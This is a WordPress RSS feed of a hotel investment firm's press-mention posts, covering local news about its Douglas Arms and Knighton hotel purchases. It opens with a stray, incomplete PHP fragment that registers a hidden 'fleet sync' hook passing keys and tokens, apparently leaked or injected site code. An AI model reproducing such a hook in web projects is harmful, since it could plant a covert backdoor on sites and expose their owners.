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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Press Mentions Archives - Paymán Investments https://paymaninvestments.com/news/category/press-mentions/ Rewarding your trust. Wed, 10 Feb 2021 21:53:55 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 https://paymaninvestments.com/wp-content/uploads/2020/11/FAVICON-02-150x150.png Press Mentions Archives - Paymán Investments https://paymaninvestments.com/news/category/press-mentions/ 32 32 Dumfries & Galloway! Features Douglas Arms Hotel https://paymaninvestments.com/news/dumfries-and-galloway-features-douglas-arms-hotel/ https://paymaninvestments.com/news/dumfries-and-galloway-features-douglas-arms-hotel/#respond Wed, 10 Feb 2021 21:43:25 +0000 http://paymaninvestments.com/?p=1793 Days after finalising the transaction, Paymán Investments was already featured on “Dumfries & Galloway! What’s Going On?”. Coverage from the local press goes to show how important the work that we are undertaking is and what positive impact our investments are set to have on local communities. Our sister company, Keezark, finalised a deal for […]

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]]> Days after finalising the transaction, Paymán Investments was already featured on “Dumfries & Galloway! What’s Going On?”. Coverage from the local press goes to show how important the work that we are undertaking is and what positive impact our investments are set to have on local communities.

Our sister company, Keezark, finalised a deal for managing the hotel set in the heart of Castle Douglas, Dumfries & Galloway, less than a fortnight ago. Discussions with a local community group are progressing and initial meetings with architects have already taken place to explore how the hotel can best be put to use to benefit the local community. The vision is to achieve a symbiosis between a privately-run business and a community-focused non-profit organisation. Initial conversations are proving very fruitful and we are hopeful that a long-term collaboration will be established. We are currently awaiting receipt of quotes for works from a number of construction companies and hope to commence works before the end of the month.

Dumfries & Galloway! What’s Going On? Features Douglas Arms Hotel

DGWGO Features Douglas Arms Hotel

Why did Dumfries & Galloway DGWGO featured the Douglas Arms Hotel? We believe it is because this development is major news for the area. Castle Douglas currently suffers from a lack of sufficient high-quality holiday and short term accommodation. This is having an impact on the community as a whole and the nearby famous cattle market have reportedly threatened to relocate due to the shortage in overnight accommodation. Besides helping to fulfil this unmet demand, it is hoped that the Douglas Arms Hotel will also contribute to uplifting the local economy as a whole in Dumfries & Galloway. By attracting large numbers of tourists to the area and enabling overnight stays, customer spending in food and beverage providers, local gift shops and other small businesses should all receive a positive boost. Last, but not least, the physical appearance of the hotel will hopefully be transformed from an eye-sore right in the centre of town to an attractive sight for visitors and locals alike.

Should you be interested helping us in our mission of purchasing and refurbishing hotels across the UK, we’d love to hear from you. You can contact us by clicking here, and a memeber of our Team will reach out shortly to discuss in further detail.

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]]> https://paymaninvestments.com/news/dumfries-and-galloway-features-douglas-arms-hotel/feed/ 0 Knighton Hotel Featured in Powys News https://paymaninvestments.com/news/knighton-hotel-featured-in-powys-news/ https://paymaninvestments.com/news/knighton-hotel-featured-in-powys-news/#respond Fri, 04 Dec 2020 11:59:00 +0000 http://paymaninvestments.com/?p=1615 Paymán Investments Featured in Knighton News On December 4th, just a week after the purchase of The Knighton Hotel (located in Powys, Wales) had completed, Paymán Investments already made headlines on the front page of Mid Wales Journal. Karen Compton, a local journalist, published an overview of the purchase and the plans for the hotel. […]

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]]> Paymán Investments Featured in Knighton News

On December 4th, just a week after the purchase of The Knighton Hotel (located in Powys, Wales) had completed, Paymán Investments already made headlines on the front page of Mid Wales Journal. Karen Compton, a local journalist, published an overview of the purchase and the plans for the hotel.

The headline reads:

“KNIGHTON’S main hotel, which has been closed for more than two years, has been sold to a young entrepreneur.”

Following a scandal relating to the misuse of a public grant provided for the refurbishment of the Grade II Listed hotel and the bankruptcy of the owners, the hotel was purchased in auction over a year ago. However, the new owner decided not to open the hotel for personal reasons, and decided to sell it on. Paymán Investments was able to negotiate a deal and purchase the hotel prior to the scheduled auction in mid-December. The council and the local community are very keen to see the hotel re-opening, due to its central position on the high street and the impact it has on the town as a whole. The article continues:

The new owner of the Knighton Hotel is 26-year-old Na’ím Anís Paymán. He completed the sale on Friday and has already started refurbishment work with the aim of opening as soon as possible.

While refurbishment of the roof has indeed already commenced, unfortunately the gas and electric supplies have been cut off due to unpaid bills by the previous owners. Reconnecting these amidst the COVID-19 pandemic will require some patience.

The hotel, which dates from 1867 and has 16 rooms, was due to go to auction on December 17 with a guide price of £250,000 but Mr Paymán’s offer was accepted before it took place.

It is one of several hotels Paymán Investments has purchased across the country.

Mr Paymán plans to initially focus on providing overnight accommodation and is seeking permission to increase the number of rooms
available to maybe 30 or 40 – running them as hotel rooms or turning them into self-catering accommodation.

Quoting Paymán Investment’s CEO, reference is made to the impact that our company is seeking to achieve through this purchase on the local community.

Mr Paymán said: “Our team at Paymán Investments are elated to have been able to purchase such an iconic property and hope that this
investment will help contribute to the regeneration of the town and the local economy.

“We look forward to working with the community and governmental institutions to ensure that not only are we able to establish a longterm
and sustainable business, but that we can also turn the Knighton Hotel into a focal point of community life.”

The local news article which featured The Knighton Hotel concludes with some background information:

While at university Mr Paymán set up Paymans [sic], a provider of short-term accommodation in Cambridge and Oxford.

After graduating, he oversaw the growth of the company to a number of cities across the UK.

The Knighton Hotel is the main hotel in Knighton, and serves neighbouring towns and villages across Powys and Mid Wales. It is located on the border between Wales and England and thus also attracts a lot of tourists from nearby Shropshire as well as further afield. Once up and running, the hotel will be available to book here.

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]]> https://paymaninvestments.com/news/knighton-hotel-featured-in-powys-news/feed/ 0